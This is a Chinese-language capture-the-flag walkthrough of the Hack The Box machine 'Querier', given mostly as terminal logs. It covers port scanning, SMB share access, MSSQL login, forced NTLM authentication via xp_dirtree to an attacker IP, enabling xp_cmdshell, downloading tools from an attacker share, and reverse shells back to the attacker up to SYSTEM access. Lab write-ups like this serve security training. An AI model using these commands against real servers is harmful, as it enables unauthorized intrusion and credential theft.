┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- --min-rate=10000 -oG allports 10.10.10.125 [sudo] kali 的密码: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-24 18:43 CST Warning: 10.10.10.125 giving up on port because retransmission cap hit (10). Nmap scan report for10.10.10.125 Host is up (0.43s latency). Not shown: 64702 closed tcp ports (reset), 819 filtered tcp ports (no-response) PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1433/tcp open ms-sql-s 5985/tcp open wsman 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49668/tcp open unknown 49669/tcp open unknown 49670/tcp open unknown 49671/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 28.52 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,49670,49671 -sV -sC --min-rate=1000010.10.10.125 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-24 18:44 CST Nmap scan report for10.10.10.125 Host is up (0.40s latency).
PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 1433/tcp open ms-sql-s Microsoft SQL Server 201714.00.1000.00; RTM |_ssl-date: 2024-05-24T02:40:54+00:00; -8h04m54s from scanner time. | ms-sql-info: | 10.10.10.125:1433: | Version: | name: Microsoft SQL Server 2017 RTM | number: 14.00.1000.00 | Product: Microsoft SQL Server 2017 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2024-05-24T02:29:11 |_Not valid after: 2054-05-24T02:29:11 | ms-sql-ntlm-info: | 10.10.10.125:1433: | Target_Name: HTB | NetBIOS_Domain_Name: HTB | NetBIOS_Computer_Name: QUERIER | DNS_Domain_Name: HTB.LOCAL | DNS_Computer_Name: QUERIER.HTB.LOCAL | DNS_Tree_Name: HTB.LOCAL |_ Product_Version: 10.0.17763 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 80.45 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- --min-rate=10000 -oG allports1 10.10.10.125 -sU Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-24 18:47 CST Warning: 10.10.10.125 giving up on port because retransmission cap hit (10). Nmap scan report for10.10.10.125 Host is up (0.40s latency). All 65535 scanned ports on 10.10.10.125 are in ignored states. Not shown: 65457 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
Nmap done: 1 IP address (1 host up) scanned in 76.11 seconds
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC Reports Disk Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.10.10.125 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient \\\\10.10.10.125\\Reports -N Try "help" to get a list of possible commands. smb: \> ls . D 0 Tue Jan 2907:23:482019 .. D 0 Tue Jan 2907:23:482019 Currency Volume Report.xlsm A 12229 Mon Jan 2806:21:342019
5158399 blocks of size 4096.851722 blocks available smb: \> get "Currency Volume Report.xlsm" getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (5.0 KiloBytes/sec) (average 5.0 KiloBytes/sec) smb: \>
┌──(kali㉿offsec)-[~/Desktop] └─$ exiftool ./Currency\ Volume\ Report.xlsm ExifTool Version Number : 12.70 File Name : Currency Volume Report.xlsm Directory : . File Size : 12 kB File Modification Date/Time : 2024:05:2419:01:37+08:00 File Access Date/Time : 2024:05:2419:03:54+08:00 File Inode Change Date/Time : 2024:05:2419:01:37+08:00 File Permissions : -rw-r--r-- File Type : XLSM File Type Extension : xlsm MIME Type : application/vnd.ms-excel.sheet.macroEnabled.12 Zip Required Version : 20 Zip Bit Flag : 0x0006 Zip Compression : Deflated Zip Modify Date : 1980:01:0100:00:00 Zip CRC : 0x513599ac Zip Compressed Size : 367 Zip Uncompressed Size : 1087 Zip File Name : [Content_Types].xml Creator : Luis Last Modified By : Luis Create Date : 2019:01:2120:38:56Z Modify Date : 2019:01:2722:21:34Z Application : Microsoft Excel Doc Security : None Scale Crop : No Heading Pairs : Worksheets, 1 Titles Of Parts : Currency Volume Company : Links Up To Date : No Shared Doc : No Hyperlinks Changed : No
[*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(QUERIER): Line 1: Changed database context to 'volume'. [*] INFO(QUERIER): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server(1403232) [!] Press help for extra shell commands SQL(QUERIER\reporting reporting@volume)> EXEC xp_dirtree '\\10.10.14.45\share' subdirectory depth ------------ ----- SQL(QUERIER\reporting reporting@volume)>
[*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(QUERIER): Line 1: Changed database context to 'master'. [*] INFO(QUERIER): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server(1403232) [!] Press help for extra shell commands SQL(QUERIER\mssql-svc dbo@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
- 1
SQL (QUERIER\mssql-svc dbo@master)> EXEC sp_configure 'Show Advanced Options', 1; [*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL (QUERIER\mssql-svc dbo@master)> reconfigure; SQL (QUERIER\mssql-svc dbo@master)> sp_configure; name minimum maximum config_value run_value --------------------------------- ----------- ---------- ------------ ---------- ......
xp_cmdshell 0100
SQL (QUERIER\mssql-svc dbo@master)> EXEC sp_configure 'xp_cmdshell', 1 [*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL (QUERIER\mssql-svc dbo@master)> reconfigure; SQL (QUERIER\mssql-svc dbo@master)> xp_cmdshell "whoami" output ----------------- querier\mssql-svc
SQL (QUERIER\mssql-svc dbo@master)> xp_cmdshell "dir C:\Users" output ---------------------------------------------------- Volume in drive C has no label.
Volume Serial Number is 35CB-DA81
NULL
Directory of C:\Users
NULL
01/29/201912:41 AM <DIR> .
01/29/201912:41 AM <DIR> ..
01/28/201911:17 PM <DIR> Administrator
01/29/201912:42 AM <DIR> mssql-svc
01/28/201911:17 PM <DIR> Public
0 File(s) 0 bytes
5 Dir(s) 3,472,916,480 bytes free
NULL
SQL(QUERIER\mssql-svc dbo@master)> xp_cmdshell "dir C:\Users\mssql-svc\Desktop" output -------------------------------------------------- Volume in drive C has no label.
┌──(kali㉿offsec)-[~/Desktop] └─$ rlwrap nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.45] from (UNKNOWN) [10.10.10.125] 49679 Windows PowerShell Copyright(C) Microsoft Corporation. All rights reserved.
Password: [*] Requesting shares on 10.10.10.125..... [*] Found writable share ADMIN$ [*] Uploading file mhhfnebU.exe [*] Opening SVCManager on 10.10.10.125..... [*] Creating service XOcr on 10.10.10.125..... [*] Starting service XOcr..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.292] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami nt authority\system
C:\Windows\system32>
19、那就获取下最终的flag吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
C:\Windows\system32> cd C:/Users/administrator/Desktop
C:\Users\Administrator\Desktop> dir Volume in drive C has no label. Volume Serial Number is 35CB-DA81
Directory of C:\Users\Administrator\Desktop
01/29/201901:04 AM <DIR> . 01/29/201901:04 AM <DIR> .. 05/24/202403:29 AM 34 root.txt 1 File(s) 34 bytes 2 Dir(s) 3,463,217,152 bytes free
C:\Users\Administrator\Desktop> type root.txt df1686fcc228e6ed71a3dbe34cbcdb16
Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled PS C:\Users\mssql-svc\Desktop>
PS C:\Users\mssql-svc\Desktop> copy \\10.10.14.45\share\g.exe . copy \\10.10.14.45\share\g.exe . PS C:\Users\mssql-svc\Desktop> ls ls
Directory: C:\Users\mssql-svc\Desktop
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 4/20/20248:29 AM 57344 g.exe -a---- 5/13/200510:53 AM 68608 nc.exe -a---- 4/20/20248:29 AM 600580 PowerUp.ps1 -ar--- 5/24/20243:29 AM 34 user.txt
PS C:\Users\mssql-svc\Desktop> copy \\10.10.14.45\share\RunasCs.exe .\r.exe copy \\10.10.14.45\share\RunasCs.exe .\r.exe PS C:\Users\mssql-svc\Desktop> ls ls
Directory: C:\Users\mssql-svc\Desktop
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 4/20/20248:29 AM 57344 g.exe -a---- 5/13/200510:53 AM 68608 nc.exe -a---- 4/20/20248:29 AM 600580 PowerUp.ps1 -a---- 5/19/20235:37 PM 51712 r.exe -ar--- 5/24/20243:29 AM 34 user.txt
PS C:\Users\mssql-svc\Desktop>
PS C:\Users\mssql-svc\Desktop> .\r.exe shiyan corporate568 powershell -r 10.10.14.45:4444 -l 3 .\r.exe shiyan corporate568 powershell -r 10.10.14.45:4444 -l 3 [*] Warning: User profile directory for user shiyan does not exists. Use --force-profile if you want to force the creation.
[+] Running in session 0 with process function CreateProcessAsUserW() [+] Using Station\Desktop: Service-0x0-2177b$\Default [+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 4020 created in background. PS C:\Users\mssql-svc\Desktop>
┌──(kali㉿offsec)-[~/Desktop] └─$ rlwrap nc -lnvp 4444 listening on [any] 4444 ... connect to [10.10.14.45] from (UNKNOWN) [10.10.10.125] 49703 Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\System32> whoami whoami querier\shiyan PS C:\Windows\System32> cd C:/Users/Administrator/Desktop cd C:/Users/Administrator/Desktop PS C:\Users\Administrator\Desktop> ls ls
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 5/24/20243:29 AM 34 root.txt